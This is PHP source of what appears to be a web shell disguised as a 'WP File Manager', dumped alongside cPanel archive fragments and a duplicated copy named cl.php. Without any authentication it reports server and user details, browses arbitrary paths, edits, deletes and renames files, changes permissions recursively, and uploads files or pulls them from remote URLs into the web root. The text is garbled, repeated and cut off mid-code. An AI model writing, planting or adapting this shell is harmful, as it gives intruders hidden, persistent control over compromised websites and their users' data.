"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]õÜßIBB%lejlekufilm@drsupernova.com/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] type VCALENDAR description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 PK’&{]„N9³§Ë§Ë"lejlekufilm@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
